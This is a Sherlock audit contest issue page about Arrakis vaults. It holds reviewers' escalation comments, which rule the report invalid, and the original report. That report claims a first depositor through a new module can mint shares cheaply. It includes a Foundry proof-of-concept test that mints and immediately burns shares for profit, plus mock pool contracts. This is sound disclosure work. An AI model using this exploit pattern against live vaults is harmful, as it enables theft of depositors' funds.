Closed sherlock-admin3 closed 2 months ago
let me explain why i think this is invalid (when ever the first deposit gets executed all reserves are transfered to manager and shares are calculated correctly since after transfering any reserves to the manager using init0
will be right as reserves will be 0 so there is no miscalculation there as the pool then will have the deposit of only the new users)
function deposit(
address depositor_,
uint256 proportion_
)
external
payable
onlyMetaVault
whenNotPaused
nonReentrant
returns (uint256 amount0, uint256 amount1)
{
if (msg.value > 0) revert NoNativeToken();
if (depositor_ == address(0)) revert AddressZero();
if (proportion_ == 0) revert ProportionZero();
// #region effects.
{
(uint256 _amt0, uint256 _amt1) = pool.getReserves();
if (!notFirstDeposit) {
if (_amt0 > 0 || _amt1 > 0) {
// #region send dust on pool to manager.
address manager = metaVault.manager();
alm.withdrawLiquidity(_amt0, _amt1, manager, 0, 0);
// #endregion send dust on pool to manager.
}
_amt0 = _init0;
_amt1 = _init1;
notFirstDeposit = true;
}
amount0 =
FullMath.mulDivRoundingUp(proportion_, _amt0, BASE);
amount1 =
FullMath.mulDivRoundingUp(proportion_, _amt1, BASE);
}
in this if Blook
if (!notFirstDeposit) {
if (_amt0 > 0 || _amt1 > 0) {
// #region send dust on pool to manager.
address manager = metaVault.manager();
alm.withdrawLiquidity(_amt0, _amt1, manager, 0, 0);
// #endregion send dust on pool to manager.
}
_amt0 = _init0;
_amt1 = _init1;
notFirstDeposit = true;
}
we check if (_amt0 > 0 || _amt1 > 0)
that was retrieved here in the same function by this call
(uint256 _amt0, uint256 _amt1) = pool.getReserves();
so we transfer all tokens from the reserves to metaVault manager here
alm.withdrawLiquidity(_amt0, _amt1, manager, 0, 0);
assuming that metaVault manager will do the right thing as trusted ROLE reandering this as invalid
assuming that manager isn't a trusted then the issue is describing very different attack path about how minting shares at disproportionate value would harm the protocol
Escalate
This issue should be medium, as noted by the author:
Since this logical flaw can only be demonstrated if another separate issue is removed, in order for the PoC to work, this line of code should been commented out in ValantisHOTModulePublic
The report works on the hypothetical basis that another issue (supposedly #27) is fixed by removing the line of code. However this is not clear-cut it should be fixed that way, since #27 is a mix of multiple issues already reported in other reports (#25, #28)
There is a bug indeed, but funds are not at risk unless the owner of a public vault is malicious
Escalate
This issue should be medium, as noted by the author:
Since this logical flaw can only be demonstrated if another separate issue is removed, in order for the PoC to work, this line of code should been commented out in ValantisHOTModulePublic
The report works on the hypothetical basis that another issue (supposedly #27) is fixed by removing the line of code. However this is not clear-cut it should be fixed that way, since #27 is a mix of multiple issues already reported in other reports (#25, #28)
There is a bug indeed, but funds are not at risk unless the owner of a public vault is malicious
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
Should be invalid, why are we supposing a solution that was never mentioned by sponsers as its like a mitigation review or review audit
We are supposing a wrong code and assuming issue to it
Valid escalation, I believe #14 and #27 should be the primary issues of this group, and this one can be invalidated since it speculates on a code fix to the issues in #14 and #27
@Hash01011122 #14 and #27 are completely different to #50, please have a closer look. They are their own high severity issue
It's a very great catch, but since it's possible only after the other two issues are fixed, this should be low unfortunately, based on the rules:
Future issues: Issues that result out of a future integration/implementation that was not mentioned in the docs/README or because of a future change in the code (as a fix to another issue) are not valid issues.
Planning to accept the escalation and invalidate this report.
Result: Invalid Unique
juaan
high
First depositor via new module mints large amount of shares at huge discount
Summary
When a new module is set, the first depositor via that module pays
proportion*_init0
instead of payingproportion*reserves0
in minting costs.They buy shares for very cheap, then dump them straight away at the correct price for profit.
This is currently blocked by the issue where liquidity is being withdrawn to the manager.
Vulnerability Detail
When a new module is set, 100% of the liquidity from the old pool is withdrawn, and re-deposited via the new one.
The re-depositing occurs via the
initializePosition()
function rather than thedeposit()
function. The issue is that thenotFirstDeposit
flag remainsfalse
, sinceinitializePosition()
does not toggle it totrue
(onlydeposit()
does).Then when the first deposit occurs through the new module, since the
notFirstDeposit
flag is false, the mint cost is calculated via:On the first deposit,
_amt0
and_amt1
are hard-coded toinit0
andinit1
respectively, instead of being assigned as the pool’s reserves.(Proof here )
Hence, the user can mint
proportion_
of the total supply of shares, but only pay forinit0 * proportion_
, instead of payingreserves0 * proportion
reserves0
are likely to be much larger thaninit0
, so the first depositor gets a large discount in the mint cost.Impact
The first depositor in a newly set module can mint tokens at a very cheap cost. Note that this issue is blocked by another one, which incorrectly withdraws all the funds on the first deposit.
However once that is fixed, this issue will allow someone to mint large amounts of shares, and instantly redeem them for a large profit.
Proof of Concept
Since this logical flaw can only be demonstrated if another separate issue is removed, in order for the PoC to work, this line of code should been commented out in
ValantisHOTModulePublic
To run the PoC:
arrakis-modular/test/integration
, and add the mocks toarrakis-modular/test/integration/mocks
forge test --mt test_wrongSharePrice_withBugRemoved -vv
PoC Summary:
totalSupply
totalSupply
(half of the now total supply), collecting major profitConsole output:
Foundry Test
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; // Foundry imports import {console} from "forge-std/console.sol"; import {Vm} from "forge-std/Vm.sol"; import {ArrakisMetaVaultPublic} from "../../src/ArrakisMetaVaultPublic.sol"; import {ArrakisMetaVault} from "../../src/abstracts/ArrakisMetaVault.sol"; import {TimeLock} from "../../src/TimeLock.sol"; import {ArrakisStandardManager} from "../../src/ArrakisStandardManager.sol"; import {IModuleRegistry} from "../../src/interfaces/IModuleRegistry.sol"; import {ValantisModulePublic} from "../../src/modules/ValantisHOTModulePublic.sol"; import {IValantisHOTModule} from "../../src/interfaces/IValantisHOTModule.sol"; import {TEN_PERCENT} from "../../src/constants/CArrakis.sol"; import {ValantisModule} from "../../src/abstracts/ValantisHOTModule.sol"; import {IArrakisMetaVaultPublic} from "../../src/interfaces/IArrakisMetaVaultPublic.sol"; import {IArrakisMetaVault} from "../../src/interfaces/IArrakisMetaVault.sol"; import {IArrakisStandardManager} from "../../src/interfaces/IArrakisStandardManager.sol"; import {IOwnable} from "../../src/interfaces/IOwnable.sol"; import {SovereignPool} from "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol"; // Mocks import {OracleWrapper} from "./mocks/OracleWrapper.sol"; import {SovereignPoolMock} from "./mocks/SovereignPoolMock.sol"; import {SovereignALMMock} from "./mocks/SovereignALMMock.sol"; //Base Test import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol"; contract PoC_FundsSentToArrakisManager_Incorrectly is ValantisIntegrationPublicTest { address vaultManager; address minter; address public constant OWNER_EOA = 0x529a65684a6923958ab6b7DF7B909a8D5e1580ae; function test_wrongSharePrice_withBugRemoved() public { // #region Vault Init minter = makeAddr("minter"); vaultManager = IArrakisMetaVault(vault).manager(); deal(address(token0), minter, init0*5); // 2000e6 (0: USDC) deal(address(token1), minter, init1*5); // 1e18 (1: WETH) vm.label(address(token0), "token0"); vm.label(address(token1), "token1"); address oldModule = address(IArrakisMetaVault(vault).module()); SovereignPoolMock newPool = new SovereignPoolMock(); newPool.setToken0AndToken1(address(token0), address(token1)); //User mints from meta vault, using old module vm.startPrank(minter); token0.approve(oldModule, init0*5); token1.approve(oldModule, init1*5); IArrakisMetaVaultPublic(vault).mint(5e18, minter); // first deposit vm.stopPrank(); // #endregion Vault Init TimeLock timelock = TimeLock(payable(IOwnable(vault).owner())); // Initialisation Data for the newly whitelisted module bytes[] memory initData = new bytes[](1); initData[0] = abi.encodeWithSelector( ValantisModule.initialize.selector, address(newPool), 2e9, 1e18, 1e5, vault ); bytes memory whitelistModulesPayload = abi.encodeWithSelector( ArrakisMetaVault.whitelistModules.selector, IModuleRegistry(moduleRegistry).beacons(), // use the existing module implementation, no changes needed initData ); //Whitelist the new module vm.startPrank(OWNER_EOA); timelock.schedule(vault, 0, whitelistModulesPayload, bytes32(0), bytes32(uint256(0xff)), 2 days); vm.warp(block.timestamp + 2 days); timelock.execute(vault, 0, whitelistModulesPayload, bytes32(0), bytes32(uint256(0xff))); vm.stopPrank(); bytes memory almPayload = abi.encodeWithSelector( ValantisModule.setALMAndManagerFees.selector, address(new SovereignALMMock(address(token0), address(token1), address(newPool))), oracle ); address[] memory modules = ArrakisMetaVaultPublic(vault).whitelistedModules(); // set ALM for the new module //note: A mock ALM is used for simplicity of setup, but it will still work with a real ALM vm.startPrank(OWNER_EOA); timelock.schedule(modules[1], 0, almPayload, bytes32(0), bytes32(uint256(0xff)), 2 days); vm.warp(block.timestamp + 2 days); timelock.execute(modules[1], 0, almPayload, bytes32(0), bytes32(uint256(0xff))); vm.stopPrank(); // A call will be made to the new module to initialize the LP position bytes[] memory payloads = new bytes[](1); // initializePosition (Deposits liquidity into ALM) payloads[0] = abi.encodeWithSelector( ValantisModule.initializePosition.selector ); // Set the module and pass in payload vm.startPrank(executor); ArrakisStandardManager(payable(manager)).setModule(vault, modules[1], payloads); deal(address(token0), minter, init0*5); // 2000e6 (0: USDC) deal(address(token1), minter, init1*5); // 1e18 (1: WETH) address newModule = modules[1]; //Now, a minter mints shares from the vault, as the first depositor uint256 totalSupply = ArrakisMetaVaultPublic(vault).totalSupply(); //console.log("totalSupply is %e: ", totalSupply); vm.startPrank(minter); token0.approve(newModule, type(uint256).max); token1.approve(newModule, type(uint256).max); (uint256 res0, uint256 res1) = newPool.getReserves(); console.log("[Before Mint+Burn] reserves0: %e, reserves1: %e", res0, res1); //@e here it all gets sent to the manager (uint256 amount_0_in, uint256 amount_1_in) = IArrakisMetaVaultPublic(vault).mint(totalSupply, minter); (uint256 amount_0_out, uint256 amount_1_out) = IArrakisMetaVaultPublic(vault).burn(totalSupply, minter); vm.stopPrank(); (res0, res1) = newPool.getReserves(); console.log("[After Mint+Burn] reserves0: %e, reserves1: %e", res0, res1); console.log(""); console.log("Mint cost: %e USDC and %e ETH", amount_0_in, amount_1_in); console.log("Redeemed amount: %e USDC and %e ETH", amount_0_out, amount_1_out); } } ```SovereignALMMock.sol
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol"; import {SovereignPool} from "../../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol"; contract SovereignALMMock { address public token0; address public token1; SovereignPool pool; constructor(address t0, address t1, address _pool) { token0 = t0; token1 = t1; pool = SovereignPool(_pool); } function getReservesAtPrice(uint160) external view returns (uint128 reserves0, uint128 reserves1) { reserves0 = SafeCast.toUint128( IERC20(token0).balanceOf(address(this)) ); reserves1 = SafeCast.toUint128( IERC20(token1).balanceOf(address(this)) ); } function depositLiquidity( uint256 _amount0, uint256 _amount1, uint160, uint160 ) external returns (uint256 amount0Deposited, uint256 amount1Deposited) { IERC20(token0).transferFrom(msg.sender, address(this), _amount0); IERC20(token1).transferFrom(msg.sender, address(this), _amount1); IERC20(token0).approve(address(pool), _amount0); IERC20(token1).approve(address(pool), _amount1); (amount0Deposited, amount1Deposited) = SovereignPool(pool).depositLiquidity( _amount0, _amount1, msg.sender, // the module '', '' ); } function withdrawLiquidity( uint256 amount0, uint256 amount1, address receiver, uint160, uint160 ) external { pool.withdrawLiquidity(amount0, amount1, msg.sender, receiver, ''); } } ```SovereignPoolMock.sol
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; import {IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {console} from "forge-std/console.sol"; contract SovereignPoolMock { IERC20 public token0; IERC20 public token1; uint256 public managerBalance0; uint256 public managerBalance1; uint256 public managerFeeBIPS; uint256 public reserves0; uint256 public reserves1; address public immutable sovereignVault; address public verifierModule; constructor() { sovereignVault = address(this); } function depositLiquidity( uint256 _amount0, uint256 _amount1, address _sender, bytes calldata _verificationContext, bytes calldata _depositData ) external returns (uint256 amount0Deposited, uint256 amount1Deposited) { uint256 token0PreBalance = token0.balanceOf(address(this)); uint256 token1PreBalance = token1.balanceOf(address(this)); console.log("pre0", token0PreBalance); console.log("pre1", token1PreBalance); token0.transferFrom( msg.sender, address(this), _amount0 ); token1.transferFrom( msg.sender, address(this), _amount1 ); amount0Deposited = token0.balanceOf(address(this)) - token0PreBalance; amount1Deposited = token1.balanceOf(address(this)) - token1PreBalance; } function withdrawLiquidity( uint256 _amount0, uint256 _amount1, address _sender, address _recipient, bytes calldata _verificationContext ) external { if (_amount0 > 0) { token0.transfer(_recipient, _amount0); } if (_amount1 > 0) { token1.transfer(_recipient, _amount1); } } function setReserves( uint256 reserves0_, uint256 reserves1_ ) external { reserves0 = reserves0_; reserves1 = reserves1_; } function setToken0AndToken1( address token0_, address token1_ ) external { token0 = IERC20(token0_); token1 = IERC20(token1_); } function setManagesFees( uint256 managerBalance0_, uint256 managerBalance1_ ) external { managerBalance0 = managerBalance0_; managerBalance1 = managerBalance1_; } function setPoolManagerFeeBips(uint256 poolManagerFeeBips_) external { managerFeeBIPS = poolManagerFeeBips_; } function claimPoolManagerFees( uint256, uint256 ) external returns ( uint256 feePoolManager0Received, uint256 feePoolManager1Received ) { feePoolManager0Received = managerBalance0; feePoolManager1Received = managerBalance1; if (managerBalance0 > 0) { IERC20(token0).transfer(msg.sender, managerBalance0); } if (managerBalance1 > 1) { IERC20(token1).transfer(msg.sender, managerBalance1); } } // #region view functions. function getPoolManagerFees() external view returns (uint256 poolManagerFee0, uint256 poolManagerFee1) { poolManagerFee0 = managerBalance0; poolManagerFee1 = managerBalance1; } function poolManagerFeeBips() external view returns (uint256) { return managerFeeBIPS; } function getReserves() external view returns (uint256, uint256) { return (token0.balanceOf(address(this)), token1.balanceOf(address(this))); } // #endregion view functions. } ```Code Snippet
https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/modules/ValantisHOTModulePublic.sol#L66-L67
Tool used
Manual Review
Recommendation
Make sure that the user pays
proportion * reserve0
andproportion * reserve1
This can be achieved by setting the
notFirstDeposit
flag totrue
withininitializePosition()
.